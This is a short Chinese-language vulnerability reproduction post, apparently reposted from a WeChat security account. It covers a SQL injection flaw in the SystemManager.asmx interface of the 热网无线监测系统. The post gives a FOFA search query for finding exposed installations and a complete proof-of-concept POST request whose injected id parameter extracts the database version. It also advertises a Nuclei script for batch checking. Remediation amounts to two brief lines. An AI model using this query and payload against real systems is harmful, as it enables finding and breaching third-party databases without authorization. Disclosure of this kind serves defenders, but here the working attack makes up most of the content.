免责声明
产品介绍
漏洞威胁
漏洞环境
FOFA:
body="Downloads/HDPrintInstall.rar" || body="skins/login/images/btn_login.jpg"
漏洞复现
PoC
POST/DataSrvs/SystemManager.asmx/UpdateWUTHTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8Content-Type: application/x-www-form-urlencodedConnection: closeid=%28SELECT+CHAR%28113%29%2BCHAR%28120%29%2BCHAR%28118%29%2BCHAR%28113%29%2BCHAR%28113%29%2B%28CASE+WHEN+%281675%3D1675%29+THEN+@@version+ELSE+CHAR%2848%29+END%29%2BCHAR%28113%29%2BCHAR%28112%29%2BCHAR%28118%29%2BCHAR%28118%29%2BCHAR%28113%29%29&name=&desc=
查询数据库版本
批量脚本验证
Nuclei验证脚本已发布
知识星球：冷漠安全
修复建议
关闭互联网暴露面或接口设置访问权限
升级至安全版本
原文始发于微信公众号（冷漠安全）：「漏洞复现」热网无线监测系统 SystemManager.asmx SQL注入漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论